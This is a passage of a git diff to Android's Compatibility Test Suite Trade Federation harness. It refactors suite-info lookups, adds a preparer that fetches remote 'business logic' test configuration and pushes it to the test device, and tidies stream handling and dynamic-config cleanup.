* Return the SuiteInfo fullname generated at build time. Exposed for testing.
*/
protected String getSuiteInfoFullname() {
- return SuiteInfo.FULLNAME;
+ return TestSuiteInfo.getInstance().getFullName();
}
/**
* Return the SuiteInfo version generated at build time. Exposed for testing.
*/
protected String getSuiteInfoVersion() {
- return SuiteInfo.VERSION;
+ return TestSuiteInfo.getInstance().getVersion();
}
/**
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/command/CompatibilityConsole.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/command/CompatibilityConsole.java
index 307d648..32e6197 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/command/CompatibilityConsole.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/command/CompatibilityConsole.java
@@ -15,7 +15,6 @@
*/
package com.android.compatibility.common.tradefed.command;
-import com.android.compatibility.SuiteInfo;
import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
import com.android.compatibility.common.tradefed.build.CompatibilityBuildProvider;
import com.android.compatibility.common.tradefed.result.SubPlanHelper;
@@ -32,6 +31,7 @@
import com.android.tradefed.log.LogUtil.CLog;
import com.android.tradefed.testtype.IRemoteTest;
import com.android.tradefed.testtype.IRuntimeHintProvider;
+import com.android.tradefed.testtype.suite.TestSuiteInfo;
import com.android.tradefed.util.ArrayUtil;
import com.android.tradefed.util.FileUtil;
import com.android.tradefed.util.Pair;
@@ -73,8 +73,9 @@
*/
@Override
public void run() {
- printLine(String.format("Android %s %s (%s)", SuiteInfo.FULLNAME, SuiteInfo.VERSION,
- SuiteInfo.BUILD_NUMBER));
+ printLine(String.format("Android %s %s (%s)", TestSuiteInfo.getInstance().getFullName(),
+ TestSuiteInfo.getInstance().getVersion(),
+ TestSuiteInfo.getInstance().getBuildNumber()));
printLine("Use \"help\" or \"help all\" to get more information on running commands.");
super.run();
}
@@ -87,7 +88,7 @@
Map<String, String> commandHelp) {
genericHelp.add("Enter 'help add' for help with 'add subplan' commands");
- genericHelp.add("\t----- " + SuiteInfo.FULLNAME + " usage ----- ");
+ genericHelp.add("\t----- " + TestSuiteInfo.getInstance().getFullName() + " usage ----- ");
genericHelp.add("Usage: run <plan> [--module <module name>] [ options ]");
genericHelp.add("Example: run cts --module CtsGestureTestCases --bugreport-on-failure");
genericHelp.add("");
@@ -149,8 +150,10 @@
trie.put(new Runnable() {
@Override
public void run() {
- printLine(String.format("Android %s %s (%s)", SuiteInfo.FULLNAME,
- SuiteInfo.VERSION, SuiteInfo.BUILD_NUMBER));
+ printLine(String.format("Android %s %s (%s)",
+ TestSuiteInfo.getInstance().getFullName(),
+ TestSuiteInfo.getInstance().getVersion(),
+ TestSuiteInfo.getInstance().getBuildNumber()));
}
}, "version"); // override tradefed 'version' command to print test suite name and version
@@ -162,7 +165,8 @@
}
String combinedHelp = listHelp +
LINE_SEPARATOR +
- "\t----- " + SuiteInfo.FULLNAME + " specific options ----- " + LINE_SEPARATOR +
+ "\t----- " + TestSuiteInfo.getInstance().getFullName()
+ + " specific options ----- " + LINE_SEPARATOR +
"\tp[lans] List all plans available" + LINE_SEPARATOR +
"\tm[odules] List all modules available" + LINE_SEPARATOR +
"\tr[esults] List all results" + LINE_SEPARATOR;
@@ -175,7 +179,8 @@
}
String combinedRunHelp = runHelp +
LINE_SEPARATOR +
- "\t----- " + SuiteInfo.FULLNAME + " specific options ----- " + LINE_SEPARATOR +
+ "\t----- " + TestSuiteInfo.getInstance().getFullName()
+ + " specific options ----- " + LINE_SEPARATOR +
"\t<plan> --module/-m <module> Run a test module" + LINE_SEPARATOR +
"\t<plan> --module/-m <module> --test/-t <test_name> Run a specific test from" +
" the module. Test name can be <package>.<class>, <package>.<class>#<method> or "
@@ -210,7 +215,7 @@
*/
@Override
protected String getConsolePrompt() {
- return String.format("%s-tf > ", SuiteInfo.NAME.toLowerCase());
+ return String.format("%s-tf > ", TestSuiteInfo.getInstance().getName().toLowerCase());
}
private void listModules() {
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/result/ResultReporter.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/result/ResultReporter.java
index e53698e..328148c 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/result/ResultReporter.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/result/ResultReporter.java
@@ -97,7 +97,8 @@
private static final List<String> NOT_RETRY_FILES = Arrays.asList(
ChecksumReporter.NAME,
ChecksumReporter.PREV_NAME,
- ResultHandler.FAILURE_REPORT_NAME);
+ ResultHandler.FAILURE_REPORT_NAME,
+ "diffs");
@Option(name = CompatibilityTest.RETRY_OPTION,
shortName = 'r',
@@ -150,7 +151,6 @@
private int mCurrentTestNum;
private int mTotalTestsInModule;
-
// Whether modules can be marked done for this invocation. Initialized in invocationStarted()
// Visible for unit testing
protected boolean mCanMarkDone;
@@ -513,7 +513,7 @@
try {
// Zip the full test results directory.
- copyDynamicConfigFiles(mBuildHelper.getDynamicConfigFiles(), mResultDir);
+ copyDynamicConfigFiles();
copyFormattingFiles(mResultDir, mBuildHelper.getSuiteName());
File resultFile = generateResultXmlFile();
@@ -576,9 +576,13 @@
try {
File logFile = null;
if (mCompressLogs) {
- logFile = mTestLogSaver.saveAndGZipLogData(name, type, stream.createInputStream());
+ try (InputStream inputStream = stream.createInputStream()) {
+ logFile = mTestLogSaver.saveAndGZipLogData(name, type, inputStream);
+ }
} else {
- logFile = mTestLogSaver.saveLogData(name, type, stream.createInputStream());
+ try (InputStream inputStream = stream.createInputStream()) {
+ logFile = mTestLogSaver.saveLogData(name, type, inputStream);
+ }
}
debug("Saved logs for %s in %s", name, logFile.getAbsolutePath());
} catch (IOException e) {
@@ -588,7 +592,6 @@
}
}
-
/* Write device-info files to the result, invoked only by the master result reporter */
private void testLogDeviceInfo(String name, InputStreamSource stream) {
try {
@@ -837,29 +840,33 @@
/**
* move the dynamic config files to the results directory
- *
- * @param configFiles
- * @param resultsDir
*/
- static void copyDynamicConfigFiles(Map<String, File> configFiles, File resultsDir) {
- if (configFiles.size() == 0) return;
-
- File configDir = new File(resultsDir, "config");
- boolean mkdirSuccess = configDir.mkdir(); // success check added for b/63030111
- if (!mkdirSuccess) {
+ private void copyDynamicConfigFiles() {
+ File configDir = new File(mResultDir, "config");
+ if (!configDir.mkdir()) {
warn("Failed to make dynamic config directory \"%s\" in the result",
configDir.getAbsolutePath());
}
- for (String moduleName : configFiles.keySet()) {
- File srcFile = configFiles.get(moduleName);
- File destFile = new File(configDir, moduleName+".dynamic");
- try {
- FileUtil.copyFile(srcFile, destFile);
+
+ Set<String> uniqueModules = new HashSet<>();
+ for (IBuildInfo buildInfo : mMasterBuildInfos) {
+ CompatibilityBuildHelper helper = new CompatibilityBuildHelper(buildInfo);
+ Map<String, File> dcFiles = helper.getDynamicConfigFiles();
+ for (String moduleName : dcFiles.keySet()) {
+ File srcFile = dcFiles.get(moduleName);
+ if (!uniqueModules.contains(moduleName)) {
+ // have not seen config for this module yet, copy into result
+ File destFile = new File(configDir, moduleName + ".dynamic");
+ try {
+ FileUtil.copyFile(srcFile, destFile);
+ uniqueModules.add(moduleName); // Add to uniqueModules if copy succeeds
+ } catch (IOException e) {
+ warn("Failure when copying config file \"%s\" to \"%s\" for module %s",
+ srcFile.getAbsolutePath(), destFile.getAbsolutePath(), moduleName);
+ CLog.e(e);
+ }
+ }
FileUtil.deleteFile(srcFile);
- } catch (IOException e) {
- warn("Failure when copying config file \"%s\" to \"%s\" for module %s",
- srcFile.getAbsolutePath(), destFile.getAbsolutePath(), moduleName);
- CLog.e(e);
}
}
}
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/BusinessLogicPreparer.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/BusinessLogicPreparer.java
new file mode 100644
index 0000000..cd4f701
--- /dev/null
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/BusinessLogicPreparer.java
@@ -0,0 +1,219 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.tradefed.targetprep;
+
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import com.android.compatibility.common.tradefed.util.DynamicConfigFileReader;
+import com.android.compatibility.common.util.BusinessLogic;
+import com.android.compatibility.common.util.FeatureUtil;
+import com.android.compatibility.common.util.PropertyUtil;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.config.Option;
+import com.android.tradefed.config.OptionClass;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.log.LogUtil.CLog;
+import com.android.tradefed.targetprep.BuildError;
+import com.android.tradefed.targetprep.ITargetCleaner;
+import com.android.tradefed.targetprep.TargetSetupError;
+import com.android.tradefed.testtype.suite.TestSuiteInfo;
+import com.android.tradefed.util.FileUtil;
+import com.android.tradefed.util.MultiMap;
+import com.android.tradefed.util.StreamUtil;
+import com.android.tradefed.util.net.HttpHelper;
+import com.android.tradefed.util.net.IHttpHelper;
+
+import org.xmlpull.v1.XmlPullParserException;
+
+import java.io.File;
+import java.io.IOException;
+import java.net.URL;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Map;
+import java.util.Set;
+
+/**
+ * Pushes business Logic to the host and the test device, for use by test cases in the test suite.
+ */
+@OptionClass(alias="business-logic-preparer")
+public class BusinessLogicPreparer implements ITargetCleaner {
+
+ /* Placeholder in the service URL for the suite to be configured */
+ private static final String SUITE_PLACEHOLDER = "{suite-name}";
+
+ /* String for creating files to store the business logic configuration on the host */
+ private static final String FILE_LOCATION = "business-logic";
+ /* Extension of business logic files */
+ private static final String FILE_EXT = ".bl";
+
+ /* Dynamic config constants */
+ private static final String DYNAMIC_CONFIG_FEATURES_KEY = "business_logic_device_features";
+ private static final String DYNAMIC_CONFIG_PROPERTIES_KEY = "business_logic_device_properties";
+
+ @Option(name = "business-logic-url", description = "The URL to use when accessing the " +
+ "business logic service, parameters not included", mandatory = true)
+ private String mUrl;
+
+ @Option(name = "business-logic-api-key", description = "The API key to use when accessing " +
+ "the business logic service.", mandatory = true)
+ private String mApiKey;
+
+ @Option(name = "cleanup", description = "Whether to remove config files from the test " +
+ "target after test completion.")
+ private boolean mCleanup = true;
+
+ @Option(name = "ignore-business-logic-failure", description = "Whether to proceed with the " +
+ "suite invocation if retrieval of business logic fails.")
+ private boolean mIgnoreFailure = false;
+
+ private String mDeviceFilePushed;
+ private String mHostFilePushed;
+
+ /**
+ * {@inheritDoc}
+ */
+ @Override
+ public void setUp(ITestDevice device, IBuildInfo buildInfo) throws TargetSetupError, BuildError,
+ DeviceNotAvailableException {
+ String requestString = buildRequestString(device, buildInfo);
+ // Retrieve business logic string from service
+ String businessLogicString = null;
+ try {
+ URL request = new URL(requestString);
+ businessLogicString = StreamUtil.getStringFromStream(request.openStream());
+ } catch (IOException e) {
+ if (mIgnoreFailure) {
+ CLog.e("Failed to connect to business logic service.\nProceeding with test"
+ + "invocation, tests depending on the remote configuration will fail.\n");
+ return;
+ } else {
+ throw new TargetSetupError(String.format(
+ "Cannot connect to business logic service for suite %s.\nIf this problem "
+ + "persists, re-invoking with option '--ignore-business-logic-failure' will "
+ + "cause tests to execute anyways (though tests depending on the remote "
+ + "configuration will fail).", TestSuiteInfo.getInstance().getName()), e,
+ device.getDeviceDescriptor());
+ }
+ }
+ // Push business logic string to host file
+ try {
+ File hostFile = FileUtil.createTempFile(FILE_LOCATION, FILE_EXT);
+ FileUtil.writeToFile(businessLogicString, hostFile);
+ mHostFilePushed = hostFile.getAbsolutePath();
+ CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(buildInfo);
+ buildHelper.setBusinessLogicHostFile(hostFile);
+ } catch (IOException e) {
+ throw new TargetSetupError(String.format(
+ "Retrieved business logic for suite %s could not be written to host",
+ TestSuiteInfo.getInstance().getName()), device.getDeviceDescriptor());
+ }
+ // Push business logic string to device file
+ removeDeviceFile(device); // remove any existing business logic file from device
+ if (device.pushString(businessLogicString, BusinessLogic.DEVICE_FILE)) {
+ mDeviceFilePushed = BusinessLogic.DEVICE_FILE;
+ } else {
+ throw new TargetSetupError(String.format(
+ "Retrieved business logic for suite %s could not be written to device %s",
+ TestSuiteInfo.getInstance().getName(), device.getSerialNumber()),
+ device.getDeviceDescriptor());
+ }
+ }
+
+ /** Helper to populate the business logic service request with info about the device. */
+ private String buildRequestString(ITestDevice device, IBuildInfo buildInfo)
+ throws DeviceNotAvailableException {
+ CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(buildInfo);
+ String baseUrl = mUrl.replace(SUITE_PLACEHOLDER, getSuiteName());
+ MultiMap<String, String> paramMap = new MultiMap<>();
+ paramMap.put("key", mApiKey);
+ paramMap.put("suite_version", buildHelper.getSuiteVersion());
+ paramMap.put("oem", PropertyUtil.getManufacturer(device));
+ for (String feature : getBusinessLogicFeatures(device, buildInfo)) {
+ paramMap.put("features", feature);
+ }
+ for (String property : getBusinessLogicProperties(device, buildInfo)) {
+ paramMap.put("properties", property);
+ }
+ IHttpHelper helper = new HttpHelper();
+ return helper.buildUrl(baseUrl, paramMap);
+ }
+
+ /* Get device properties list, with element format "<property_name>:<property_value>" */
+ private List<String> getBusinessLogicProperties(ITestDevice device, IBuildInfo buildInfo)
+ throws DeviceNotAvailableException {
+ List<String> properties = new ArrayList<>();
+ Map<String, String> clientIds = PropertyUtil.getClientIds(device);
+ for (Map.Entry<String, String> id : clientIds.entrySet()) {
+ // add client IDs to the list of properties
+ properties.add(String.format("%s:%s", id.getKey(), id.getValue()));
+ }
+
+ try {
+ List<String> propertyNames = DynamicConfigFileReader.getValuesFromConfig(buildInfo,
+ getSuiteName(), DYNAMIC_CONFIG_PROPERTIES_KEY);
+ for (String name : propertyNames) {
+ // Use String.valueOf in case property is undefined for the device ("null")
+ String value = String.valueOf(device.getProperty(name));
+ properties.add(String.format("%s:%s", name, value));
+ }
+ } catch (XmlPullParserException | IOException e) {
+ CLog.e("Failed to pull business logic properties from dynamic config");
+ }
+ return properties;
+ }
+
+ /* Get device features list */
+ private List<String> getBusinessLogicFeatures(ITestDevice device, IBuildInfo buildInfo)
+ throws DeviceNotAvailableException {
+ try {
+ List<String> dynamicConfigFeatures = DynamicConfigFileReader.getValuesFromConfig(
+ buildInfo, getSuiteName(), DYNAMIC_CONFIG_FEATURES_KEY);
+ Set<String> deviceFeatures = FeatureUtil.getAllFeatures(device);
+ dynamicConfigFeatures.retainAll(deviceFeatures);
+ return dynamicConfigFeatures;
+ } catch (XmlPullParserException | IOException e) {
+ CLog.e("Failed to pull business logic features from dynamic config");
+ return new ArrayList<>();
+ }
+ }
+
+ private String getSuiteName() {
+ return TestSuiteInfo.getInstance().getName().toLowerCase();
+ }
+
+ /**
+ * {@inheritDoc}
+ */
+ @Override
+ public void tearDown(ITestDevice device, IBuildInfo buildInfo, Throwable e)
+ throws DeviceNotAvailableException {
+ // Clean up host file
+ if (mCleanup) {
+ if (mHostFilePushed != null) {
+ FileUtil.deleteFile(new File(mHostFilePushed));
+ }
+ if (mDeviceFilePushed != null && !(e instanceof DeviceNotAvailableException)) {
+ removeDeviceFile(device);
+ }
+ }
+ }
+
+ /** Remove business logic file from the device */
+ private static void removeDeviceFile(ITestDevice device) throws DeviceNotAvailableException {
+ device.executeShellCommand(String.format("rm -rf %s", BusinessLogic.DEVICE_FILE));
+ }
+}
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/DynamicConfigPusher.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/DynamicConfigPusher.java
index d64c210..3d34f3e 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/DynamicConfigPusher.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/DynamicConfigPusher.java
@@ -28,7 +28,6 @@
import com.android.tradefed.targetprep.BuildError;
import com.android.tradefed.targetprep.ITargetCleaner;
import com.android.tradefed.targetprep.TargetSetupError;
-import com.android.tradefed.util.FileUtil;
import com.android.tradefed.util.StreamUtil;
import org.json.JSONException;
@@ -50,7 +49,6 @@
}
private static final String LOG_TAG = DynamicConfigPusher.class.getSimpleName();
- private static final String TMP_FOLDER_DYNAMIC_FILES = "dynamic-config-files";
@Option(name = "cleanup", description = "Whether to remove config files from the test " +
"target after test completion.")
@@ -68,8 +66,7 @@
"from the server, e.g. \"1.0\". Defaults to suite version string.")
private String mVersion;
-
- private String mFilePushed;
+ private String mDeviceFilePushed;
void setModuleName(String moduleName) {
mModuleName = moduleName;
@@ -86,7 +83,7 @@
File localConfigFile = null;
try {
- localConfigFile = DynamicConfig.getConfigFile(buildHelper.getTestsDir(), mModuleName);
+ localConfigFile = buildHelper.getTestFile(mModuleName + ".dynamic");
} catch (FileNotFoundException e) {
throw new TargetSetupError("Cannot get local dynamic config file from test directory",
e, device.getDeviceDescriptor());
@@ -115,48 +112,28 @@
"Dynamic config override URL is not set, using local configuration values");
}
- File src = null;
+ // Use DynamicConfigHandler to merge local and service configuration into one file
+ File hostFile = null;
try {
- src = DynamicConfigHandler.getMergedDynamicConfigFile(
+ hostFile = DynamicConfigHandler.getMergedDynamicConfigFile(
localConfigFile, apfeConfigInJson, mModuleName);
} catch (IOException | XmlPullParserException | JSONException e) {
throw new TargetSetupError("Cannot get merged dynamic config file", e,
device.getDeviceDescriptor());
}
- switch (mTarget) {
- case DEVICE:
- String deviceDest = DynamicConfig.CONFIG_FOLDER_ON_DEVICE + src.getName();
- if (!device.pushFile(src, deviceDest)) {
- throw new TargetSetupError(String.format(
- "Failed to push local '%s' to remote '%s'",
- src.getAbsolutePath(), deviceDest), device.getDeviceDescriptor());
- } else {
- mFilePushed = deviceDest;
- buildHelper.addDynamicConfigFile(mModuleName, src);
- }
- break;
-
- case HOST:
- File storageDir = null;
- try {
- storageDir = FileUtil.createTempDir(TMP_FOLDER_DYNAMIC_FILES);
- } catch (IOException e) {
- throw new TargetSetupError("Fail to create a tmp folder for dynamic config "
- + "files", e, device.getDeviceDescriptor());
- }
- File hostDest = new File(storageDir, src.getName());
- try {
- FileUtil.copyFile(src, hostDest);
- } catch (IOException e) {
- throw new TargetSetupError(String.format("Failed to copy file from %s to %s",
- src.getAbsolutePath(), hostDest.getAbsolutePath()), e,
- device.getDeviceDescriptor());
- }
- mFilePushed = storageDir.getAbsolutePath();
- buildHelper.addDynamicConfigFile(mModuleName, src);
- break;
+ if (TestTarget.DEVICE.equals(mTarget)) {
+ String deviceDest = String.format("%s%s.dynamic",
+ DynamicConfig.CONFIG_FOLDER_ON_DEVICE, mModuleName);
+ if (!device.pushFile(hostFile, deviceDest)) {
+ throw new TargetSetupError(String.format(
+ "Failed to push local '%s' to remote '%s'", hostFile.getAbsolutePath(),
+ deviceDest), device.getDeviceDescriptor());
+ }
+ mDeviceFilePushed = deviceDest;
}
+ // add host file to build
+ buildHelper.addDynamicConfigFile(mModuleName, hostFile);
}
/**
@@ -165,16 +142,10 @@
@Override
public void tearDown(ITestDevice device, IBuildInfo buildInfo, Throwable e)
throws DeviceNotAvailableException {
- switch (mTarget) {
- case DEVICE:
- if (!(e instanceof DeviceNotAvailableException)
- && mCleanup && mFilePushed != null) {
- device.executeShellCommand("rm -r " + mFilePushed);
- }
- break;
- case HOST:
- FileUtil.recursiveDelete(new File(mFilePushed));
- break;
+ // Remove any file we have pushed to the device, host file will be moved to the result
+ // directory by ResultReporter upon invocation completion.
+ if (mDeviceFilePushed != null && !(e instanceof DeviceNotAvailableException) && mCleanup) {
+ device.executeShellCommand("rm -r " + mDeviceFilePushed);
}
}
}
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/MediaPreparer.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/MediaPreparer.java
index 6afbd4e..f011f5e 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/MediaPreparer.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/MediaPreparer.java
@@ -17,7 +17,7 @@
import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
import com.android.compatibility.common.tradefed.targetprep.PreconditionPreparer;
-import com.android.compatibility.common.util.DynamicConfigHostSide;
+import com.android.compatibility.common.tradefed.util.DynamicConfigFileReader;
import com.android.ddmlib.IDevice;
import com.android.ddmlib.Log;
import com.android.ddmlib.testrunner.TestIdentifier;
@@ -227,10 +227,8 @@
URL url;
try {
// Get download URL from dynamic configuration service
- File config =
- DynamicConfigHostSide.getDynamicConfigFile(buildInfo, DYNAMIC_CONFIG_MODULE);
- String mediaUrlString =
- DynamicConfigHostSide.getValueFromConfig(config, MEDIA_FILES_URL_KEY);
+ String mediaUrlString = DynamicConfigFileReader.getValueFromConfig(
+ buildInfo, DYNAMIC_CONFIG_MODULE, MEDIA_FILES_URL_KEY);
url = new URL(mediaUrlString);
} catch (IOException | XmlPullParserException e) {
throw new TargetSetupError("Trouble finding media file download location with " +
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/BusinessLogicHostTestBase.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/BusinessLogicHostTestBase.java
new file mode 100644
index 0000000..7ebd717
--- /dev/null
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/BusinessLogicHostTestBase.java
@@ -0,0 +1,86 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.tradefed.testtype;
+
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeTrue;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.rules.TestName;
+
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import com.android.compatibility.common.util.BusinessLogic;
+import com.android.compatibility.common.util.BusinessLogicExecutor;
+import com.android.compatibility.common.util.BusinessLogicFactory;
+import com.android.compatibility.common.util.BusinessLogicHostExecutor;
+import com.android.tradefed.log.LogUtil.CLog;
+
+import java.io.File;
+
+/**
+ * Host-side base class for tests leveraging the Business Logic service.
+ */
+public class BusinessLogicHostTestBase extends CompatibilityHostTestBase {
+
+ /* String marking the beginning of the parameter in a test name */
+ private static final String PARAM_START = "[";
+
+ /* Test name rule that tracks the current test method under execution */
+ @Rule public TestName mTestCase = new TestName();
+
+ private static BusinessLogic mBusinessLogic;
+ private static boolean mCanReadBusinessLogic = true;
+
+ @Before
+ public void executeBusinessLogic() {
+ // Business logic must be retrieved in this @Before method, since the build info contains
+ // the location of the business logic file and cannot be referenced from a static context
+ if (mBusinessLogic == null) {
+ CompatibilityBuildHelper helper = new CompatibilityBuildHelper(mBuild);
+ File businessLogicFile = helper.getBusinessLogicHostFile();
+ if (businessLogicFile != null && businessLogicFile.canRead()) {
+ mBusinessLogic = BusinessLogicFactory.createFromFile(businessLogicFile);
+ } else {
+ mCanReadBusinessLogic = false; // failed to retrieve business logic
+ }
+ }
+
+ String methodName = mTestCase.getMethodName();
+ assertTrue(String.format("Test \"%s\" is unable to execute as it depends on the missing "
+ + "remote configuration.", methodName), mCanReadBusinessLogic);
+ if (methodName.contains(PARAM_START)) {
+ // Strip parameter suffix (e.g. "[0]") from method name
+ methodName = methodName.substring(0, methodName.lastIndexOf(PARAM_START));
+ }
+ String testName = String.format("%s#%s", this.getClass().getName(), methodName);
+ if (mBusinessLogic.hasLogicFor(testName)) {
+ CLog.i("Applying business logic for test case: ", testName);
+ BusinessLogicExecutor executor = new BusinessLogicHostExecutor(getDevice(),
+ mBuild, this);
+ mBusinessLogic.applyLogicFor(testName, executor);
+ }
+ }
+
+ public static void skipTest(String message) {
+ assumeTrue(message, false);
+ }
+
+ public static void failTest(String message) {
+ fail(message);
+ }
+}
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/CompatibilityHostTestBase.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/CompatibilityHostTestBase.java
index 7585a6c..1222a1f 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/CompatibilityHostTestBase.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/CompatibilityHostTestBase.java
@@ -20,6 +20,7 @@
import static org.junit.Assert.assertTrue;
import com.android.annotations.Nullable;
+import com.android.annotations.VisibleForTesting;
import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
import com.android.ddmlib.Log.LogLevel;
import com.android.ddmlib.testrunner.RemoteAndroidTestRunner;
@@ -236,8 +237,13 @@
testRunner.setClassName(testClassName);
}
- CollectingTestListener listener = new CollectingTestListener();
+ CollectingTestListener listener = createCollectingListener();
assertTrue(mDevice.runInstrumentationTests(testRunner, listener));
return listener.getCurrentRunResults();
}
+
+ @VisibleForTesting
+ protected CollectingTestListener createCollectingListener() {
+ return new CollectingTestListener();
+ }
}
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/CompatibilityTest.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/CompatibilityTest.java
index d6fb594..07bfe83 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/CompatibilityTest.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/CompatibilityTest.java
@@ -16,7 +16,6 @@
package com.android.compatibility.common.tradefed.testtype;
-import com.android.compatibility.SuiteInfo;
import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
import com.android.compatibility.common.tradefed.result.InvocationFailureHandler;
import com.android.compatibility.common.tradefed.result.SubPlanHelper;
@@ -55,6 +54,7 @@
import com.android.tradefed.testtype.IShardableTest;
import com.android.tradefed.testtype.IStrictShardableTest;
import com.android.tradefed.testtype.ITestCollector;
+import com.android.tradefed.testtype.suite.TestSuiteInfo;
import com.android.tradefed.util.AbiFormatter;
import com.android.tradefed.util.AbiUtils;
import com.android.tradefed.util.ArrayUtil;
@@ -605,7 +605,7 @@
* Exposed for testing.
*/
protected Set<String> getAbisForBuildTargetArch() {
- return AbiUtils.getAbisForArch(SuiteInfo.TARGET_ARCH);
+ return AbiUtils.getAbisForArch(TestSuiteInfo.getInstance().getTargetArch());
}
/**
@@ -664,10 +664,10 @@
if (!failures.isEmpty()) {
CLog.w("There are failed system status checkers: %s capturing a bugreport",
failures.toString());
- InputStreamSource bugSource = device.getBugreport();
- logger.testLog(String.format("bugreport-checker-pre-module-%s", moduleName),
- LogDataType.BUGREPORT, bugSource);
- bugSource.cancel();
+ try (InputStreamSource bugSource = device.getBugreport()) {
+ logger.testLog(String.format("bugreport-checker-pre-module-%s", moduleName),
+ LogDataType.BUGREPORT, bugSource);
+ }
}
}
@@ -686,10 +686,10 @@
if (!failures.isEmpty()) {
CLog.w("There are failed system status checkers: %s capturing a bugreport",
failures.toString());
- InputStreamSource bugSource = device.getBugreport();
- logger.testLog(String.format("bugreport-checker-post-module-%s", moduleName),
- LogDataType.BUGREPORT, bugSource);
- bugSource.cancel();
+ try (InputStreamSource bugSource = device.getBugreport()) {
+ logger.testLog(String.format("bugreport-checker-post-module-%s", moduleName),
+ LogDataType.BUGREPORT, bugSource);
+ }
}
}
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/FailureListener.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/FailureListener.java
index 758be95..fbddb22 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/FailureListener.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/FailureListener.java
@@ -67,13 +67,14 @@
@Override
public void testFailed(TestIdentifier test, String trace) {
super.testFailed(test, trace);
- CLog.i("FailureListener.testFailed %s %b %b %b", test.toString(), mBugReportOnFailure, mLogcatOnFailure, mScreenshotOnFailure);
+ CLog.i("FailureListener.testFailed %s %b %b %b",
+ test.toString(), mBugReportOnFailure, mLogcatOnFailure, mScreenshotOnFailure);
if (mScreenshotOnFailure) {
try {
- InputStreamSource screenSource = mDevice.getScreenshot();
- super.testLog(String.format("%s-screenshot", test.toString()), LogDataType.PNG,
- screenSource);
- screenSource.cancel();
+ try (InputStreamSource screenSource = mDevice.getScreenshot()) {
+ super.testLog(String.format("%s-screenshot", test.toString()), LogDataType.PNG,
+ screenSource);
+ }
} catch (DeviceNotAvailableException e) {
CLog.e(e);
CLog.e("Device %s became unavailable while capturing screenshot",
@@ -81,18 +82,35 @@
}
}
if (mBugReportOnFailure) {
- InputStreamSource bugSource = mDevice.getBugreport();
- super.testLog(String.format("%s-bugreport", test.toString()), LogDataType.BUGREPORT,
- bugSource);
- bugSource.cancel();
+ int api = -1;
+ try {
+ api = mDevice.getApiLevel();
+ } catch (DeviceNotAvailableException e) {
+ // ignore, it will be raised later.
